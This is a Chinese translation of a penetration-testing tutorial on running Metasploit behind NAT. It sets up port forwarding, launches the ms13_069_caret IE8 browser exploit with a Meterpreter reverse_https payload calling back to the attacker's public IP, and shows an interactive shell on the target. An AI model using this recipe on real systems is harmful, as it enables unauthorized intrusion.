翻译:Metasploit Meterpreter and NAT

翻译:Metasploit Meterpreter and NAT

引言

在对某服务器进行实战渗透的过程中,我发现metasploit不能正常发起攻击,经过查阅后发现是因为Metasploit网络服务器无法监听我们路由器的公网IP,而这篇文章(原文链接:https://www.corelan.be/index.php/2014/01/04/metasploit-meterpreter-and-nat/ )帮助我解决了这个问题,遂翻译,以下是正文。


专业测试人员通常使用直接连接到互联网的主机,具有公网IP地址,并且不受任何防火墙或NAT设备的阻碍以执行其监听。黑客攻击“naked”(暴露公网IP的主机)被认为是进行渗透测试的最简单方法,该测试涉及反弹shell。

不是所有人都可以将主机直接连接到互联网,随着免费公网IP地址的数量不断减少,在路由器或防火墙后面使用放置在局域网中的攻击机的需求将会增加。

将攻击机放在路由设备后面会将流量从私有转换为公共并且会产生一些问题。如果启动相当快速的端口扫描,您不仅需要确保NAT设备不会“中断”,而且由于主机位于专用网络中,即路由器或防火墙后面,因此无法直接从互联网

在这种情况下,执行攻击和处理返回信息的shell可能会有问题。

在这篇小文章中,我们将了解如何正确配置Meterpreter有效负载,并使攻击机位于NAT设备后面时正常工作。我们将使用浏览器漏洞来演示如何获得有效的Meterpreter会话,甚至靶机和攻击机都在NAT后面。

网络配置

我将在这篇文章中使用以下网络设置:

攻击者和目标都在NAT设备后面。我们不知道目标使用的IP范围,我们已经确定从互联网到目标网络没有直接的路径,目标没有绑定的公网IP。
我们假设目标能够通过端口80和443连接到互联网。
在此文中,我使用IP 1.1.1.1来指攻击网络的“公共”方面。在尝试本文中的步骤时,您需要您自己的公网IP替换此IP。
我将使用Kali Linux作为攻击端,并在主机上设置了Metasploit Git存储库的克隆:

1
2
3
4
5
cd /
mkdir -p /pentest/exploits
git clone https://github.com/rapid7/metasploit.git
cd metasploit-framework
bundle install

如果你已经设置了git clone,请确保使用“git pull”更新到最新版本.
靶机的系统为Windows XP SP3,但这并不重要,我们将使用浏览器漏洞来演示如何使用Meterpreter。我从IECollection安装了Internet Explorer 8(下载地址:http://utilu.com/IECollection/). 我将使用这个IE版本,因为它已经过时,并且存在大多数IE8浏览器漏洞。

在攻击端设置转发

如果我们希望能够接受来自目标的连接,我们需要配置攻击端防火墙/ NAT以在某些端口上转发流量。
执行此操作的确切步骤将非常特定于你正在使用的路由器/防火墙的品牌/型号/类型,所以这超出了这篇文章的范围。
一般来说,我们的想法是配置路由器/防火墙,在端口80和443上与路由器的公网IP地址进行通信,
并被转发到192.168.0.187(我的攻击机的内网IP)。
配置路由器/防火墙时,请务必检查路由器/防火墙是否开放端口80和443。

我们将使用端口80为浏览器exp提供服务,通过端口443反向连接Meterpreter。首先,我们需要验证转发是否有效。

在Kali上,创建一个小的html文件并将其存储在/ tmp下:

1
2
root @ krypto1:/ #cd / tmp 
root @ krypto1:/ tmp #echo“it works”> test.html

接下来,确保当前没有任何进程占用端口80或端口443

1
2
root@krypto1:/tmp# netstat -vantu | grep :80
root@krypto1:/tmp# netstat -vantu | grep :443

如果你没有看到两个命令的输出,可以进行下一步。如果列出了什么,你需要找到使用该端口的进程并终止进程。
对于端口80,你可以查看占用http端口的进程,使用lsof命令:

1
2
3
4
5
6
7
root@krypto1:/tmp# lsof -i | grep :http 
apache2 4634 root 4u IPv6 393366 0t0 TCP *:http (LISTEN)
apache2 4642 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN)
apache2 4643 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN)
apache2 4644 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN)
apache2 4645 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN)
apache2 4646 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN)

只需停止apache2即可释放端口:

1
2
3
root@krypto1:/tmp# service apache2 stop
Stopping web server: apache2 ... waiting .
root@krypto1:/tmp#

当端口可使用后,我们运行一个简单的web服务器并提供”test.html”页面。在包含test.html文件的文件夹中,运行以下python命令:

1
2
root@krypto1:/tmp# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

如果你现在在Kali中访问http://192.168.0.187/test.html,您将看到“It works”页面和

Kali浏览器的输出应列出连接并显示该页面已响应。

1
2
3
root@krypto1:/tmp# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
192.168.0.187 - - [04/Jan/2014 12:42:02] "GET /test.html HTTP/1.1" 200 -

完美,这验证了网络服务器的工作原理。在靶机上,访问http://1.1.1.1/test.html (再一次,将1.1.1.1替换为攻击端路由器/防火墙的公网IP)并且你将得到同样的页面. 如果你没有看到该页面,请检查转发是否设置正确。
如果80端口成功,请返回攻击机并使用CTRL+C.终止python命令。然后再次启动命令,这次使用443端口:

1
2
root@krypto1:/tmp# python -m SimpleHTTPServer 443
Serving HTTP on 0.0.0.0 port 443 ...

现在通过443端口访问Web服务器。尽管我们使用443端口并且443端口通常与https(加密)相关联,但我们的python处理程序不使用加密。也就是说,我们仍然必须在URL中使用http而不是https:

1
2
3
4
5
6
7
root@krypto1:/tmp# python -m SimpleHTTPServer 443
Serving HTTP on 0.0.0.0 port 443 ...
192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /test.html HTTP/1.1" 200 -
192.168.0.187 - - [04/Jan/2014 12:47:44] code 404, message File not found
192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /favicon.ico HTTP/1.1" 404 -
192.168.0.187 - - [04/Jan/2014 12:47:44] code 404, message File not found
192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /favicon.ico HTTP/1.1" 404 -

(不要担心与/favicon.ico相关的404消息 - 忽略它们是ok的)
如果您可以从靶机连接到http://1.1.1.1:443/test.html ,我们知道端口转发对端口80和443都正常工作。如果这不起作用,那就没有意义再继续,因为我们尝试的任何其他事情都将失败。

当一切正常时,关闭python命令以释放端口443。

Metasploit配置

浏览器漏洞利用 - meterpreter / reverse_https

首先,我们设置Metasploit以服务于浏览器漏洞并处理反向https Meterpreter连接。方法是欺骗目标连接80端口上的exp并通过端口443提供meterpreter/reverse_https连接。

转到metasploit-framework文件夹,打开msfconsole(如果你想确保从正确的文件夹运行msfconsole而不是Kali自带的版本,请不要忘记./)并选择一个漏洞。为了这个演示,我将使用ms13_069_caret.rb:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@krypto1:/tmp# cd /pentest/exploits/metasploit-framework/
(master) root@krypto1:/pentest/exploits/metasploit-framework# ./msfconsole
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||


=[ metasploit v4.9.0-dev [core:4.9 api:1.0]
+ -- --=[ 1248 exploits - 678 auxiliary - 199 post
+ -- --=[ 324 payloads - 32 encoders - 8 nops

msf > use exploit/windows/browser/ms13_069_caret
msf exploit(ms13_069_caret) >

Show the options:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
msf exploit(ms13_069_caret) > show options

Module options (exploit/windows/browser/ms13_069_caret):

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)


Exploit target:

Id Name
-- ----
0 IE 8 on Windows XP SP3

该漏洞需要一个SRVHOST和SRVPORT.这两个变量将由Metasploit用于确定网络服务器需要绑定和监听的位置。方法是使用我们的公网IP欺骗靶机连接到此网络服务器,然后流量转发到我们的Metasploit实例。

我们无法让Metasploit网络服务器监听我们路由器的公网IP,因为它无法将自己“绑定”到该IP地址。如果我们使用0.0.0.0,Metasploit网络服务器将只是监听传入流量的所有接口。换句话说,您可以将SRVHOST保留为0.0.0.0,或者您可以将其设置为Kali本身的l内网IP(本例中为192.168.0.187)。我将保留默认值为0.0.0.0.

接下来,我们需要将端口更改为80,并且我们将URIPATH设置为/ (因此我们可以知道URI将是什么,而不是让Metasploit创建随机URI):

1
2
3
4
msf exploit(ms13_069_caret) > set SRVPORT 80
SRVPORT => 80
msf exploit(ms13_069_caret) > set URIPATH /
URIPATH => /

接下来,我们选择meterpreter reverse_https作为payload。如果我们再次运行“show options”,我们会看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
msf exploit(ms13_069_caret) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(ms13_069_caret) > show options

Module options (exploit/windows/browser/ms13_069_caret):

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 80 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH / no The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_https):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST yes The local listener hostname
LPORT 443 yes The local listener port


Exploit target:

Id Name
-- ----
0 IE 8 on Windows XP SP3


msf exploit(ms13_069_caret) >

模块选项(SRVHOST和SRVPORT)按我们希望的方式设置. payload选项需要LHOST和LPORT。根据上面的输出,LPORT已设置为443.这是反向Meterpreter将尝试连接的端口。如果你的kali上没有设置为443,只需运行“set LPORT 443”使Meterpreter处理程序侦听端口443:

1
2
msf exploit(ms13_069_caret) > set LPORT 443
LPORT => 443

注意:在任何情况下,为了使事情尽可能简单,请尝试为特定的“服务”使用相同的端口. 也就是说,如果您在防火墙的80端口上托管Web服务器,请尝试确保也转发80端口的流量到攻击机/Metasploit上,并在Metasploit的80端口上加载漏洞exp。同样适用于有效载荷。如果我们在端口443上提供有效载荷,请确保在每个地方都使用此端口。
LHOST有两个目的:

  • 它指示Meterpreter shellcode必须反向连接的IP地址(从靶机到攻击机)。
  • 它告诉Metasploit在设置Meterpreter“处理程序”时绑定到哪里。

由于我们的攻击者主机位于NAT之后,我们必须使用路由器/防火墙的公网IP地址作为LHOST. 执行漏洞利用时,此IP将嵌入到shellcode中,当初始Meterpreter shellcode在靶机上运行时,它将反向连接这个IP地址。我们的路由器/防火墙上的端口转发然后将流量转发到攻击者主机的内网IP。为此,我们需要将LHOST设置为1.1.1.1(你的攻击机的公网IP)。

使用公网IP作为LHOST也意味着Metasploit将在设置Meterpreter处理程序时尝试将自身绑定到该IP。由于此IP属于路由器/防火墙而不属于Metasploit实例,因此显然会失败。幸运的是,Metasploit将自动回退到0.0.0.0,并基本上为攻击机上的所有本地IP提供Meterpreter处理程序服务,同时记住LHOST已设置为我们的公网IP地址。这正是我们所需要的。

将LHOST设置为1.1.1.1:

1
2
msf exploit(ms13_069_caret)>设置LHOST 1.1.1.1
LHOST => 1.1.1.1

如果我们真的不希望Meterpreter处理程序回退到0.0.0.0,我们可以使用其中一个“高级”选项并告诉它监听内网IP地址:

1
2
msf exploit(ms13_069_caret) > set ReverseListenerBindAddress 192.168.0.187
ReverseListenerBindAddress => 192.168.0.187

然后启动漏洞exp:

1
2
3
4
5
6
7
msf exploit(ms13_069_caret) > exploit
[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://192.168.0.187:443/
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.0.187:80/
[*] Server started.

输出告诉我们

我们在输出中没有看到的是,实际的Meterpreter shellcode包含要重新连接的IP地址1.1.1.1。该值取自LHOST变量。

如果您没有使用ReverseListenerBindAddress并且在运行“exploit”后得到类似下面的输出,那么请检查以下内容:

  • 检查端口是否可以免费使用
  • 确保您运行的是最新版本的Metasploit
  • 将ReverseListenerBindAddress设置为本地LAN IP或0.0.0.0
  • 退出msfconsole并再次打开它。在某些情况下,如果您之前运行过会话,您会发现绑定没有得到及时清理。
    1
    2
    3
    4
    msf exploit(ms13_069_caret) > exploit
    [*] Exploit running as background job.

    [-] Exploit failed: Rex::AddressInUse The address is already in use (0.0.0.0:443).

如果我们现在在靶机上使用IE8(来自IECollection)并连接到攻击端路由器/防火墙的公网IP的80端口,我们应该看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
msf exploit(ms13_069_caret) > [*] 2.2.2.2   ms13_069_caret - Sending exploit...
[*] 2.2.2.2 ms13_069_caret - Sending exploit...
[*] 2.2.2.2:53893 Request received for /NtFT...
[*] 2.2.2.2:53893 Staging connection for target /NtFT received...
[*] Patched user-agent at offset 663128...
[*] Patched transport at offset 662792...
[*] Patched URL at offset 662856...
[*] Patched Expiration Timeout at offset 663728...
[*] Patched Communication Timeout at offset 663732...
[*] Meterpreter session 1 opened (192.168.0.187:443 -> 2.2.2.2:53893) at 2014-01-05 09:24:26 +0100
[*] Session ID 1 (192.168.0.187:443 -> 2.2.2.2:53893) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2952)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 500
[+] Successfully migrated to process

msf exploit(ms13_069_caret) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 592 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\peter\Desktop>

2.2.2.2是靶机的公网IP。当靶机连接到端口80时,Metasploit正在发送有效载荷,利用浏览器并执行初始的meterpreter有效载荷。此有效负载将下载metsrv.dll(首先由Metasploit生成,因此它将包含攻击者的公网IP和端口),将其加载到内存中(使用反射负载)并运行代码。完成后,您将获得一个完整的Meterpreter会话。Life is good.

所以,简而言之,你应该设置以下变量:

  • SRVHOST:0.0.0.0
  • SRVPORT:设置为您要使用的浏览器exp的端口
  • LHOST:攻击机的公网IP
  • LPORT:设置为要为Meterpreter处理程序连接的端口
  • ReverseListenerBindAddress:LANIP (可选)

无论出于何种原因,如果您还希望在另一个端口上托管Meterpreter处理程序而不是客户端将连接到的端口,那么您可以使用LPORT指定目标将连接回的位置,并使用ReverseListenerBindPort指示处理程序侦听的位置。显然,您需要确保端口转发将连接到攻击机上的正确端口。